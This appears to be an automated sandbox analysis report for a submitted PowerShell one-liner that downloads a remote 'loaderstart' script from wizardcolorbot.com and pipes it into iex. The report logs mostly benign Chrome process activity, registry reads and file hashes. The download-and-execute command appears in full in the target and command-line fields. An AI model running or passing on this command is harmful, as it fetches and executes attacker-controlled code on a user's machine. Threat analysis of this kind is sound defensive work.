hxxp://irm hxxps://www[.]wizardcolorbot[.]com/loaderstart | iex

Analysis

user interaction
yes
max time kernel
300s
max time network
297s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
17/10/2026, 22:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://irm https://www.wizardcolorbot.com/loaderstart | iex
Sample261017-2ejhasds4m

Score

3^/10

discovery

Malware Config

Signatures

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4524	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
1516	chrome.exe
1516	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe
Token: SeShutdownPrivilege	2820	chrome.exe
Token: SeCreatePagefilePrivilege	2820	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe
2820	chrome.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2820 wrote to memory of 4256	2820	chrome.exe	82
PID 2820 wrote to memory of 3088	2820	chrome.exe	83
PID 2820 wrote to memory of 3088	2820	chrome.exe	83
PID 2820 wrote to memory of 4524	2820	chrome.exe	84
PID 2820 wrote to memory of 3536	2820	chrome.exe	85
PID 2820 wrote to memory of 3536	2820	chrome.exe	85
PID 2820 wrote to memory of 5076	2820	chrome.exe	86
PID 2820 wrote to memory of 5016	2820	chrome.exe	87
PID 2820 wrote to memory of 5076	2820	chrome.exe	86
PID 2820 wrote to memory of 5016	2820	chrome.exe	87
PID 2820 wrote to memory of 4196	2820	chrome.exe	89
PID 2820 wrote to memory of 4196	2820	chrome.exe	89
PID 2820 wrote to memory of 920	2820	chrome.exe	90
PID 2820 wrote to memory of 920	2820	chrome.exe	90
PID 2820 wrote to memory of 4212	2820	chrome.exe	91
PID 2820 wrote to memory of 5032	2820	chrome.exe	97
PID 2820 wrote to memory of 5032	2820	chrome.exe	97
PID 2820 wrote to memory of 2016	2820	chrome.exe	102
PID 2820 wrote to memory of 3684	2820	chrome.exe	103
PID 2820 wrote to memory of 1460	2820	chrome.exe	104
PID 2820 wrote to memory of 4248	2820	chrome.exe	105
PID 2820 wrote to memory of 4248	2820	chrome.exe	105
PID 2820 wrote to memory of 2008	2820	chrome.exe	106
PID 2820 wrote to memory of 2008	2820	chrome.exe	106
PID 2820 wrote to memory of 1516	2820	chrome.exe	107
PID 2820 wrote to memory of 4036	2820	chrome.exe	108
PID 2820 wrote to memory of 4036	2820	chrome.exe	108

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://irm https://www.wizardcolorbot.com/loaderstart | iex
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffddc51c728,0x7ffddc51c734,0x7ffddc51c740
  2⤵
  PID:4256
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1772,i,1557935643341848098,4767625773989492713,262144 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=2024 /prefetch:2
  2⤵
  PID:3088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1608,i,7467267511081294264,15274056609032602343,524288 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=2272 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4524
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2416,i,15990765681781614941,10561660079178542146,524288 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=2500 /prefetch:8
  2⤵
  PID:3536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3108,i,3941899768496036120,11635236528470585528,2097152 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3132 /prefetch:1
  2⤵
  PID:5076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3136,i,12974582503606878499,7421446621689452623,2097152 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3168 /prefetch:1
  2⤵
  PID:5016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4528,i,3484786001305287492,6927049061828286178,2097152 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=4540 /prefetch:1
  2⤵
  PID:4196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3888,i,10909272029168015874,9552729907154385237,2097152 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3180 /prefetch:1
  2⤵
  PID:920
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5220,i,17147928626675594231,1539377375513841467,524288 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5152 /prefetch:8
  2⤵
  PID:4212
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4636,i,18344836454496094203,12437514278405670127,2097152 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=4572 /prefetch:1
  2⤵
  PID:5032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3432,i,1223172316096020465,488229952842787787,524288 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5572 /prefetch:8
  2⤵
  PID:2016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5256,i,11715749653066776907,13775161907434747852,524288 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3200 /prefetch:8
  2⤵
  PID:3684
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3424,i,16819629828367552868,9633547033468091919,524288 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5536 /prefetch:8
  2⤵
  PID:1460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=3424,i,1848869468928189745,239057960713912318,2097152 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=3180 /prefetch:1
  2⤵
  PID:4248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5124,i,2007462347204445278,8504695817526293432,2097152 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5496 /prefetch:1
  2⤵
  PID:2008
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5360,i,15684087096957963538,2123196791724937237,262144 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5156 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1516
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=3888,i,15304779531940356691,13692787373048307552,524288 --field-trial-handle=2028,i,8796166116547228975,1227958975005010927,262144 --variations-seed-version=20260911-090036.930000-production --mojo-platform-channel-handle=5472 /prefetch:8
  2⤵
  PID:4036

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

436c81a8-ea77-4461-93fc-551623de7cc1.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\436c81a8-ea77-4461-93fc-551623de7cc1.tmp
Size 132KB
SHA256 008d003120293e838646eb93e18b1833c917770a84a2dd253c02e13948ad150f
MD5 c550bdd56bb37860eb975e7efab5e186
SHA1 f4b90ac4442fb9c3f53ee19a8a5c08584b77197d
SHA512 4e82dc31b74abf58a0ef91b874771c4a7494619571826382a2bc0ca11a3ef0636310d6124e5710d8ac80cfb2cdfa25b977e02b7b9fadbcf545b3896dd0d251d3
SSDEEP 3072:U6IvyBkjartaCS+uW8lH5W+f1K49XLWb9TBAPi4NXbHKji+ZLzB:nPtbmf1K49XLWbEPi4NTKlLzB
TLSH
T13AD312613D45BCB499EEEB21B1502A16AAB8D80B953D3BE55CDE3F8805E36DDC304C63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

57bc118a-6db1-4fc5-9af4-a8132d54e0b8.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\57bc118a-6db1-4fc5-9af4-a8132d54e0b8.tmp
Size 132KB
SHA256 41adcc51dc067d4a2faf45f5f96c718f6de471c37c0fad66ef1207be1f132357
MD5 cabc4f5810078d70c92bf83c77e1ce7b
SHA1 cbe79118ec97d5b530729e2db633c84669719b92
SHA512 32aaa693dd63f81b9c4ee6fe03b432c2d094c7aab6d8b9e0e250b3aac3ea09ad3ece1aa739495246074c91e76901bc9eac422ea2039aae3080d1520c77fd7e6c
SSDEEP 3072:JuAIvyBkjartaCS+uW8lH5W+f1K49XLWb9TBAPi4NXbHKji+ZLzB:AcPtbmf1K49XLWbEPi4NTKlLzB
TLSH
T15DD302217D51BCB4A9EFDB21A1502A16EAB8D94B953D3BE61CDE3F8805E36D9C304C13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

60346caf-b001-4e4c-b6c5-79fc644c27b8.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\60346caf-b001-4e4c-b6c5-79fc644c27b8.tmp
Size 132KB
SHA256 1ce2b72c8e2f1e88516a0dde4886732d6e686454bc233ee9409e495cb6780e92
MD5 8c650ef196e108e2782faff20a7aaa4c
SHA1 57e24f747d783ecd2ee3eb792e78975c08624172
SHA512 7b10353e473ae7fbe6ff25d638e0fcc82c5ce31c32d4944f360ae0cfb97ff16a8bba48bb5872805bd0ab3715dca71734104829bfe864371ba6deb0a781287ac9
SSDEEP 3072:UuAIvyBkjartaCS+uW8lH5W+f1K49XLWb9TBAPi4NXbHKji+ZLzB:BcPtbmf1K49XLWbEPi4NTKlLzB
TLSH
T1B8D302217D51BCB4A9EFDB21A1502A16EAB8D94B953D3BE61CDE3F8805E36D9C304C13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6953786b-501a-4589-8bd3-e8e73efabec8.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\6953786b-501a-4589-8bd3-e8e73efabec8.tmp
Size 131KB
SHA256 d5b1cc33a2a59535cfbb141c536dfd76857687655127b9863342f360ecf18447
MD5 953a0fe88e64c469e3e732ae60af2c9f
SHA1 d7c6e5bde86b97bdfd3f2c1b74d96bdd15daf2e2
SHA512 4c7cebb909e79577d437d22aada335226a495f129f9f711a35877b8ff31625a090c287efb36964d4afb87ab6be8bd1c543ef368736a2f438ca4a07b4d46c9c5a
SSDEEP 3072:6IvyBkjartaCS+uW8lH5W+f1K49XLWb9TBAPi4NXbHKji+ZLzB:aPtbmf1K49XLWbEPi4NTKlLzB
TLSH
T15AD312213E41BCB4A9EEDB21B1902A15EAB8D94B953D3BE61CDE3F4805E36D9C304C53
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

74177737-fd1a-4548-a0e4-1b3366a13e1e.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\74177737-fd1a-4548-a0e4-1b3366a13e1e.tmp
Size 132KB
SHA256 559c1157f69588c567996cb06df8f0eecbf74a5a17d00b798a45ca0699f3f2c1
MD5 6dad51cefc5201d1d6f1400add6e8520
SHA1 52dd739c95d0c77d5d12a9216162e63824e3ea8f
SHA512 dd329ea29543e353fd46ff33e795c207297057e9c134e6b121981086f480d1d58f494d3ab4ed9b99596d585240e7c76c46488dea8e2c49898e5fc731af06f4c1
SSDEEP 3072:c6IvyBkjartaCS+uW8lH5W+f1K49XLWb9TBAPi4NXbHKji+ZLzB:/Ptbmf1K49XLWbEPi4NTKlLzB
TLSH
T1FFD312613D45BCB4A9EEDB21B1902A16AAB8D80B953D3BE55CDE3F8805E36DDC304C13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

07685ef4-056f-4f16-b548-66349e6d0264.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\07685ef4-056f-4f16-b548-66349e6d0264.tmp
Size 12KB
SHA256 34a3483959d80d690f49bf0461aef9fc967b248435dadc74ab9b402328402822
MD5 81ce8fbcd47248f972df9f6cf671b1e0
SHA1 e742e5ffcb0fdcb7bc57c1f523ef8e66ee9d92f4
SHA512 409c7ca2aba75801528cc909712602b0ea0d93d2650262226c6073c6ab2b612da41a28723a93a7e472c7aaa48e2298c2458216e3d81b0ba9e2272c97612b1ae6
SSDEEP 192:wRcB956Wv7aqp1PRppWa9LHsb+WNnBhPxhIkgD2gARkw0agh+VyIsnAUgE:wRcB3drDXD5wjP/xgD2bRUagh2E
TLSH
T1A042A42EAD64397B9CEBC219F9657B53E3F8102134952E84E7FC892C25E75CC2227507
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0cecebc3-3318-43c0-88ec-76dcdf8d4d2e.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\0cecebc3-3318-43c0-88ec-76dcdf8d4d2e.tmp
Size 12KB
SHA256 53dc1e123a832568053089e0592c42d2b648e89f5f728fd71aaafddd863464ab
MD5 bbf7c2fe87d5c454bee663ac216a22cd
SHA1 95315aabc5c50718658803622b401781ef166ad7
SHA512 5dedbd7d1ba6f9304315bfc431a718d601910a1659e50ae3ab728067ca7be3b811b8fd619e57b04c7f831e6588ccbe4ca22079fa0f447728478733c028455cad
SSDEEP 192:wRcB956v7aqpAPRp2Wa9LHsb+WNnBhPxMLkgD2gARkw0aEh+VyIsnAUgE:wRcB3WrUXU5wjP6YgD2bRUaEh2E
TLSH
T1EF42C42EAD64357B9CEBC21AF9657B53E3F9102234952E84E7FC882C25E75CC2227507
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1136d765-1717-4531-9fcb-d07ea9088e7f.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\1136d765-1717-4531-9fcb-d07ea9088e7f.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

8383be63-6e74-4dcb-82e3-85f29977053e.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\8383be63-6e74-4dcb-82e3-85f29977053e.tmp
Size 11KB
SHA256 901f18a8eec2752770ab4b76bddef380b1bc82f698dbf5775aeeaead6a5db591
MD5 77c83396b53415aca095ff2813ecc841
SHA1 5b1a13af2865f9c81b6111b96cfcb4c3514ac54e
SHA512 59840658538a2724c9d28afe5de275088519c31a643e29cb2b0815efd54846e3a61acbe59577de40890a17b16b17662ac5863d219f47e59e829d5cbc262e0868
SSDEEP 192:wRcB95Dv7aqpAPRp2Wa9LHsb+WNnBhPx0kgD2gARkw0aAh+VyIsnAUge:wRcB37rUXU5wjPHgD2bRUaAh2e
TLSH
T1EA42C42EAD64757B9CEBC21AF9657B43E3F9102134952E84E7FC882C25E75CC222740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

163db153-4dcd-4a17-9b87-6ea61c2eeb67.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\163db153-4dcd-4a17-9b87-6ea61c2eeb67.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

770042f7-e6e9-41af-8fe2-60cbe99bc726.tmp

